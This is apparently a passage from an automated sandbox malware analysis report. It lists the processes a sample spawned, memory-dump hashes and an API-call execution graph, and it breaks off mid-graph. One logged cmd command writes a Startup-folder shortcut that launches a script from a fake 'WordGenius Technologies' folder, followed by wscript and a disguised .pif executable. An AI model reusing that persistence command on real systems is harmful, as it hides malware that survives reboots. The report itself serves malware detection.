                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 8%, ReversingLabs
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Target ID:28
                                                                                                                                                                          Start time:02:40:18
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
                                                                                                                                                                          Imagebase:0xc50000
                                                                                                                                                                          File size:236'544 bytes
                                                                                                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:29
                                                                                                                                                                          Start time:02:40:18
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          Imagebase:0x7ff70f010000
                                                                                                                                                                          File size:862'208 bytes
                                                                                                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:30
                                                                                                                                                                          Start time:02:40:27
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Windows\System32\wscript.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
                                                                                                                                                                          Imagebase:0x7ff68fd50000
                                                                                                                                                                          File size:170'496 bytes
                                                                                                                                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:true

                                                                                                                                                                          Target ID:31
                                                                                                                                                                          Start time:02:40:28
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
                                                                                                                                                                          Wow64 process (32bit):true
                                                                                                                                                                          Commandline:"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
                                                                                                                                                                          Imagebase:0xd20000
                                                                                                                                                                          File size:893'608 bytes
                                                                                                                                                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Antivirus matches:
                                                                                                                                                                          • Detection: 8%, ReversingLabs
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Target ID:34
                                                                                                                                                                          Start time:02:40:59
                                                                                                                                                                          Start date:23/12/2024
                                                                                                                                                                          Path:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          Wow64 process (32bit):false
                                                                                                                                                                          Commandline:"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7016 --field-trial-handle=2688,i,17307406999188606845,985520669215378770,262144 /prefetch:8
                                                                                                                                                                          Imagebase:0x7ff6d8030000
                                                                                                                                                                          File size:4'210'216 bytes
                                                                                                                                                                          MD5 hash:69222B8101B0601CC6663F8381E7E00F
                                                                                                                                                                          Has elevated privileges:false
                                                                                                                                                                          Has administrator privileges:false
                                                                                                                                                                          Programmed in:C, C++ or other language
                                                                                                                                                                          Has exited:false

                                                                                                                                                                          Reset < >
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000005.00000002.1406826139.00007FF887BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887BA0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_5_2_7ff887ba0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                                                            • Instruction ID: 82560b9ffc78dff3b31f1deccc39539aa1c01ef18c50288c41e9ab1f59a84a7b
                                                                                                                                                                            • Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
                                                                                                                                                                            • Instruction Fuzzy Hash: 7301677115CB0C4FDB44EF0CE451AA9B7E0FB99364F10056DE58AC3691DA36E882CB46
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
                                                                                                                                                                            • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
                                                                                                                                                                            • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000006.00000003.1657349379.0000023F45CA0000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000023F45CA0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_6_3_23f45ca0000_mshta.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction ID: 32cee9cabcd65ec8db47062ea6de36f686875e4ab2165c9a2f0ebbf760543641
                                                                                                                                                                            • Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
                                                                                                                                                                            • Instruction Fuzzy Hash: 0B90020889540655D45421E12D4935D54406388194FD48490471AB0144D44D079A5152
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8b9de074197349d50348623d6ab4ac09c68d909bfe9b1592fdcf78498b4ae890
                                                                                                                                                                            • Instruction ID: d71d3ae548fbbacb8ae2f8a3d1f68e8860006394d5ed0f671b889e61aba1eb9e
                                                                                                                                                                            • Opcode Fuzzy Hash: 8b9de074197349d50348623d6ab4ac09c68d909bfe9b1592fdcf78498b4ae890
                                                                                                                                                                            • Instruction Fuzzy Hash: EFE13331E1CA8A4FE799EB28D4546B83BE2FF59394B5841BEC00DD7293DE68AC05C741
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a52f4d10f1eb8478169d16601b0cadc36e8e751e7989ea01c8fad4719d3da37a
                                                                                                                                                                            • Instruction ID: 0f95874fbeadb95fecf88e0c2033f822d386eb16b7d4f15858354db7eada673e
                                                                                                                                                                            • Opcode Fuzzy Hash: a52f4d10f1eb8478169d16601b0cadc36e8e751e7989ea01c8fad4719d3da37a
                                                                                                                                                                            • Instruction Fuzzy Hash: 4461F532E0DE8A4FE7A9AB6C98612B576D3FF956A0B4841BAD00ED71D3ED489C05C341
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6ef258f9a169179c29ddabd9a9b7ab52b897f58f8bb528e8b2277dddf38c9934
                                                                                                                                                                            • Instruction ID: fefae0d5e92c2592b3d05b2c10c40b7b2efaf5ee39e8178e1c5125aa3f971a06
                                                                                                                                                                            • Opcode Fuzzy Hash: 6ef258f9a169179c29ddabd9a9b7ab52b897f58f8bb528e8b2277dddf38c9934
                                                                                                                                                                            • Instruction Fuzzy Hash: F051F332E1CE4A4FE7A4EA28D4546B837D2FF58394B5846BEC00DE7293DE68AC45C741
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2f985081fc8a257919bdf3c3d719869dbc042155c39f6c5b9a8fe376296b34d3
                                                                                                                                                                            • Instruction ID: 4e03a89d0eaff6b771c471056ca598bb643013dc9f3f279ec642537229e5646c
                                                                                                                                                                            • Opcode Fuzzy Hash: 2f985081fc8a257919bdf3c3d719869dbc042155c39f6c5b9a8fe376296b34d3
                                                                                                                                                                            • Instruction Fuzzy Hash: 91410552F0DA8A6FE395962CA8942747BD2FFD96A0B4801BBC04DC7197EC5D9C498381
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c0f5967da932e6ea4c6ff0ff854709fbcfeb2cef6a6487170bdf3087421e118f
                                                                                                                                                                            • Instruction ID: 60608af4f3fb6b8ef4671e6b7f2b001f5c5fae5f927fc53f52082939816cce63
                                                                                                                                                                            • Opcode Fuzzy Hash: c0f5967da932e6ea4c6ff0ff854709fbcfeb2cef6a6487170bdf3087421e118f
                                                                                                                                                                            • Instruction Fuzzy Hash: 62410632E0EE8B4BF3A9A738986527866D3FF952A4B5841B9D40ED71D3ED4C9C05C201
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651045794.00007FF886C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886C20000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886c20000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                                                                                                                            • Instruction ID: 35164417ba1bf64a1c70d939d5c2d5bc01bff332c5fa9c57a8cbbd9ea838613a
                                                                                                                                                                            • Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                                                                                                                            • Instruction Fuzzy Hash: 7401677115CB0C8FDB44EF4CE451AA5B7E0FB95364F10056DE58AC3651D636E881CB46
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000009.00000002.1651741444.00007FF886CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF886CF0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_9_2_7ff886cf0000_powershell.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: dc97e11baa970b29d0961b43e71db7ba631dbca05bb5a08ac552a82962b314a0
                                                                                                                                                                            • Instruction ID: 87727dae525a8d9b990d0cfd15942d0466a4b7a5d3245bee367bb962c5e96aa1
                                                                                                                                                                            • Opcode Fuzzy Hash: dc97e11baa970b29d0961b43e71db7ba631dbca05bb5a08ac552a82962b314a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 21E0D833F0D92E0EBBA1A59C64281F87782FF54A71B440177D90DD3141EC449C109381

                                                                                                                                                                            Execution Graph

                                                                                                                                                                            Execution Coverage:2.4%
                                                                                                                                                                            Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                            Signature Coverage:10.9%
                                                                                                                                                                            Total number of Nodes:1437
                                                                                                                                                                            Total number of Limit Nodes:40
                                                                                                                                                                            execution_graph 94553 7ff697b68fac 94554 7ff697b6901c 94553->94554 94555 7ff697b68fd2 GetModuleHandleW 94553->94555 94570 7ff697b7b9bc EnterCriticalSection 94554->94570 94555->94554 94563 7ff697b68fdf 94555->94563 94557 7ff697b690cb 94558 7ff697b7ba10 _isindst LeaveCriticalSection 94557->94558 94560 7ff697b690f0 94558->94560 94559 7ff697b69026 94559->94557 94561 7ff697b690a0 94559->94561 94566 7ff697b7aa8c 30 API calls 94559->94566 94562 7ff697b690fc 94560->94562 94565 7ff697b69118 11 API calls 94560->94565 94564 7ff697b690b8 94561->94564 94568 7ff697b7ada4 75 API calls 94561->94568 94563->94554 94571 7ff697b69164 GetModuleHandleExW 94563->94571 94569 7ff697b7ada4 75 API calls 94564->94569 94565->94562 94566->94561 94568->94564 94569->94557 94572 7ff697b691b5 94571->94572 94573 7ff697b6918e GetProcAddress 94571->94573 94575 7ff697b691c5 94572->94575 94576 7ff697b691bf FreeLibrary 94572->94576 94573->94572 94574 7ff697b691a8 94573->94574 94574->94572 94575->94554 94576->94575 94577 7ff697b7c51c 94578 7ff697b7c567 94577->94578 94583 7ff697b7c52b IsInExceptionSpec 94577->94583 94585 7ff697b755d4 15 API calls _set_errno_from_matherr 94578->94585 94579 7ff697b7c54e HeapAlloc 94581 7ff697b7c565 94579->94581 94579->94583 94583->94578 94583->94579 94584 7ff697b6925c EnterCriticalSection LeaveCriticalSection IsInExceptionSpec 94583->94584 94584->94583 94585->94581 94586 7ff697b9b221 94587 7ff697b9b22a 94586->94587 94594 7ff697b50378 94586->94594 94609 7ff697bb47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94587->94609 94589 7ff697b9b241 94610 7ff697bb4708 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94589->94610 94591 7ff697b9b264 94611 7ff697b53c20 94591->94611 94593 7ff697b9b292 94601 7ff697b50405 94593->94601 94632 7ff697bd8d98 49 API calls Concurrency::wait 94593->94632 94603 7ff697b4f7b8 94594->94603 94597 7ff697b9b2d9 Concurrency::wait 94597->94594 94633 7ff697bb47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94597->94633 94599 7ff697b4e0a8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94599->94601 94601->94599 94602 7ff697b5070a 94601->94602 94634 7ff697b4ee20 5 API calls Concurrency::wait 94601->94634 94608 7ff697b4f7d5 94603->94608 94604 7ff697b4f7de 94604->94601 94607 7ff697b4f7b8 4 API calls 94607->94608 94608->94604 94608->94607 94635 7ff697b49640 94608->94635 94638 7ff697b4e0a8 94608->94638 94609->94589 94610->94591 94613 7ff697b53c80 94611->94613 94612 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94612->94613 94613->94612 94614 7ff697ba05be 94613->94614 94618 7ff697b54a8f 94613->94618 94620 7ff697b54fe7 94613->94620 94621 7ff697b53dde 94613->94621 94626 7ff697b4e0a8 4 API calls 94613->94626 94627 7ff697b54aa9 94613->94627 94629 7ff697b64f0c 34 API calls __scrt_initialize_thread_safe_statics 94613->94629 94630 7ff697b49640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94613->94630 94631 7ff697b650b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 94613->94631 94652 7ff697b55360 300 API calls Concurrency::wait 94613->94652 94653 7ff697bc34e4 77 API calls 3 library calls 94613->94653 94654 7ff697bc34e4 77 API calls 3 library calls 94614->94654 94617 7ff697ba05d1 94617->94593 94619 7ff697b54ac0 94618->94619 94623 7ff697b9fefe 94618->94623 94618->94627 94619->94593 94624 7ff697b4e0a8 4 API calls 94620->94624 94621->94593 94622 7ff697b4e0a8 4 API calls 94622->94621 94625 7ff697b4e0a8 4 API calls 94623->94625 94624->94621 94625->94619 94626->94613 94627->94619 94627->94622 94629->94613 94630->94613 94631->94613 94632->94597 94633->94597 94634->94601 94642 7ff697b64c68 94635->94642 94637 7ff697b49663 94637->94608 94639 7ff697b4e0bb 94638->94639 94640 7ff697b4e0b6 94638->94640 94639->94608 94651 7ff697b4f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94640->94651 94645 7ff697b64c2c 94642->94645 94643 7ff697b64c50 94643->94637 94645->94642 94645->94643 94648 7ff697b6925c EnterCriticalSection LeaveCriticalSection IsInExceptionSpec 94645->94648 94649 7ff697b65600 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94645->94649 94650 7ff697b65620 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 94645->94650 94648->94645 94650->94645 94651->94639 94652->94613 94653->94613 94654->94617 94655 7ff697b9f890 94664 7ff697b4e18c 94655->94664 94657 7ff697b9f8a9 94663 7ff697b9f915 Concurrency::wait 94657->94663 94670 7ff697b62ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94657->94670 94660 7ff697b9f8f6 94660->94663 94671 7ff697bc1464 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94660->94671 94661 7ff697ba03e1 Concurrency::wait 94663->94661 94672 7ff697bc34e4 77 API calls 3 library calls 94663->94672 94665 7ff697b4e1a7 94664->94665 94666 7ff697b4e1c2 94664->94666 94673 7ff697b4ee20 5 API calls Concurrency::wait 94665->94673 94669 7ff697b4e1af 94666->94669 94674 7ff697b4ee20 5 API calls Concurrency::wait 94666->94674 94669->94657 94670->94660 94672->94661 94673->94669 94674->94669 94675 7ff697b9e263 94676 7ff697b9e271 94675->94676 94686 7ff697b52680 94675->94686 94676->94676 94677 7ff697b529c8 PeekMessageW 94677->94686 94678 7ff697b526da GetInputState 94678->94677 94678->94686 94680 7ff697b9d181 TranslateAcceleratorW 94680->94686 94681 7ff697b52a33 PeekMessageW 94681->94686 94682 7ff697b52a1f TranslateMessage DispatchMessageW 94682->94681 94683 7ff697b528b9 timeGetTime 94683->94686 94684 7ff697b9d2bb timeGetTime 94742 7ff697b62ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94684->94742 94686->94677 94686->94678 94686->94680 94686->94681 94686->94682 94686->94683 94686->94684 94691 7ff697b52856 94686->94691 94692 7ff697b53c20 300 API calls 94686->94692 94693 7ff697bc34e4 77 API calls 94686->94693 94695 7ff697b52b70 94686->94695 94702 7ff697b566c0 94686->94702 94736 7ff697b62de8 94686->94736 94741 7ff697b52e30 300 API calls 2 library calls 94686->94741 94743 7ff697bc3a28 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94686->94743 94744 7ff697bda320 300 API calls Concurrency::wait 94686->94744 94692->94686 94693->94686 94696 7ff697b52b96 94695->94696 94698 7ff697b52ba9 94695->94698 94745 7ff697b52050 94696->94745 94765 7ff697bc34e4 77 API calls 3 library calls 94698->94765 94699 7ff697b52b9e 94699->94686 94701 7ff697b9e55c 94727 7ff697b5673b memcpy_s Concurrency::wait 94702->94727 94703 7ff697ba1fac 94705 7ff697ba1fbe 94703->94705 94900 7ff697bdab30 300 API calls Concurrency::wait 94703->94900 94705->94686 94708 7ff697b56c0f 94709 7ff697b56c3d 94708->94709 94710 7ff697ba1fc9 94708->94710 94897 7ff697b4ee20 5 API calls Concurrency::wait 94709->94897 94901 7ff697bc34e4 77 API calls 3 library calls 94710->94901 94713 7ff697b56c4a 94898 7ff697b61fcc 300 API calls 94713->94898 94716 7ff697b56d40 9 API calls 94716->94727 94718 7ff697b64c68 4 API calls 94718->94727 94719 7ff697ba20c1 94728 7ff697b56b15 94719->94728 94904 7ff697bc34e4 77 API calls 3 library calls 94719->94904 94720 7ff697b56c78 94899 7ff697b5e8f4 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94720->94899 94723 7ff697b53c20 300 API calls 94723->94727 94724 7ff697ba2032 94902 7ff697bc34e4 77 API calls 3 library calls 94724->94902 94725 7ff697b4e0a8 4 API calls 94725->94727 94727->94703 94727->94708 94727->94710 94727->94713 94727->94716 94727->94718 94727->94719 94727->94720 94727->94723 94727->94724 94727->94725 94727->94728 94771 7ff697bc5b80 94727->94771 94777 7ff697bc8ea0 94727->94777 94810 7ff697bdf0ac 94727->94810 94813 7ff697bc7e48 94727->94813 94847 7ff697bc8e98 94727->94847 94880 7ff697bdf160 94727->94880 94885 7ff697bc63dc 94727->94885 94890 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 94727->94890 94891 7ff697b4ec00 94727->94891 94896 7ff697b650b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 94727->94896 94903 7ff697bd8d98 49 API calls Concurrency::wait 94727->94903 94728->94686 94737 7ff697b62e0d 94736->94737 94739 7ff697b62e2a 94736->94739 94737->94686 94738 7ff697b62e5b IsDialogMessageW 94738->94737 94738->94739 94739->94737 94739->94738 94740 7ff697ba9d94 GetClassLongPtrW 94739->94740 94740->94738 94740->94739 94741->94686 94742->94686 94743->94686 94744->94686 94746 7ff697b53c20 300 API calls 94745->94746 94747 7ff697b520a8 94746->94747 94748 7ff697b5212d 94747->94748 94749 7ff697b9d06f 94747->94749 94752 7ff697b52552 94747->94752 94757 7ff697b52244 94747->94757 94761 7ff697b523cb memcpy_s 94747->94761 94762 7ff697b522a5 memcpy_s 94747->94762 94748->94699 94770 7ff697bc34e4 77 API calls 3 library calls 94749->94770 94751 7ff697b9d08d 94754 7ff697b64c68 4 API calls 94752->94754 94753 7ff697b9d036 94768 7ff697b4ee20 5 API calls Concurrency::wait 94753->94768 94754->94761 94756 7ff697b64c68 4 API calls 94756->94762 94757->94761 94766 7ff697b51ce4 301 API calls Concurrency::wait 94757->94766 94758 7ff697b9d062 94769 7ff697b4ee20 5 API calls Concurrency::wait 94758->94769 94761->94753 94763 7ff697bc34e4 77 API calls 94761->94763 94767 7ff697b44a60 300 API calls 94761->94767 94762->94756 94762->94761 94763->94761 94765->94701 94766->94762 94767->94761 94768->94758 94769->94749 94770->94751 94772 7ff697bc5ba5 94771->94772 94773 7ff697bc5be5 FindClose 94772->94773 94774 7ff697bc5bd5 94772->94774 94775 7ff697bc5ba9 94772->94775 94773->94775 94774->94775 94905 7ff697b47ab8 94774->94905 94775->94727 94778 7ff697bca680 94777->94778 94785 7ff697bca71a 94778->94785 94953 7ff697b4834c 94778->94953 94781 7ff697b4d4cc 48 API calls 94783 7ff697bca6d0 94781->94783 94782 7ff697bca7fd 94991 7ff697bc1864 6 API calls 94782->94991 94962 7ff697b46838 94783->94962 94785->94782 94786 7ff697bca6f3 94785->94786 94790 7ff697bca770 94785->94790 94786->94727 94788 7ff697bca805 94992 7ff697bbb334 94788->94992 94916 7ff697b4d4cc 94790->94916 94791 7ff697bca6e6 94791->94786 94794 7ff697b47ab8 CloseHandle 94791->94794 94794->94786 94795 7ff697bca7ee 94935 7ff697bbb3a8 94795->94935 94796 7ff697bca7a7 94978 7ff697b498e8 94796->94978 94798 7ff697bca778 94798->94795 94798->94796 94800 7ff697b48314 CloseHandle 94802 7ff697bca85c 94800->94802 94801 7ff697bca7b5 94803 7ff697b4e0a8 4 API calls 94801->94803 94802->94786 94805 7ff697b47ab8 CloseHandle 94802->94805 94804 7ff697bca7c2 94803->94804 94981 7ff697b471f8 94804->94981 94805->94786 94807 7ff697bca7d3 94808 7ff697bbb3a8 12 API calls 94807->94808 94809 7ff697bca7e0 Concurrency::wait 94808->94809 94809->94786 94809->94800 95020 7ff697bdf630 94810->95020 94814 7ff697bc7e79 94813->94814 94815 7ff697b49640 4 API calls 94814->94815 94834 7ff697bc7f55 Concurrency::wait 94814->94834 94816 7ff697bc7ea6 94815->94816 94818 7ff697b49640 4 API calls 94816->94818 94817 7ff697b4834c 5 API calls 94819 7ff697bc7f99 94817->94819 94820 7ff697bc7eaf 94818->94820 94821 7ff697b4d4cc 48 API calls 94819->94821 94822 7ff697b4d4cc 48 API calls 94820->94822 94823 7ff697bc7fab 94821->94823 94824 7ff697bc7ebe 94822->94824 94825 7ff697b46838 16 API calls 94823->94825 95116 7ff697b474ac RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94824->95116 94827 7ff697bc7fba 94825->94827 94829 7ff697bc7fbe GetLastError 94827->94829 94833 7ff697bc7ff5 94827->94833 94828 7ff697bc7ed8 95117 7ff697b47c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 94828->95117 94831 7ff697bc7fd8 94829->94831 94837 7ff697b47ab8 CloseHandle 94831->94837 94841 7ff697bc7fe5 94831->94841 94832 7ff697bc7f07 94832->94834 95118 7ff697bbbdd4 lstrlenW GetFileAttributesW FindFirstFileW FindClose 94832->95118 94835 7ff697b49640 4 API calls 94833->94835 94834->94817 94834->94841 94838 7ff697bc8035 94835->94838 94837->94841 94838->94841 95120 7ff697bb0d38 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 94838->95120 94839 7ff697bc7f17 94839->94834 94840 7ff697bc7f1b 94839->94840 94843 7ff697b4ec00 4 API calls 94840->94843 94841->94727 94844 7ff697bc7f28 94843->94844 95119 7ff697bbbab8 8 API calls Concurrency::wait 94844->95119 94846 7ff697bc7f31 Concurrency::wait 94846->94834 94848 7ff697bca680 94847->94848 94850 7ff697b4834c 5 API calls 94848->94850 94856 7ff697bca71a 94848->94856 94849 7ff697bca6f3 94849->94727 94851 7ff697bca6be 94850->94851 94852 7ff697b4d4cc 48 API calls 94851->94852 94854 7ff697bca6d0 94852->94854 94853 7ff697bca7fd 95121 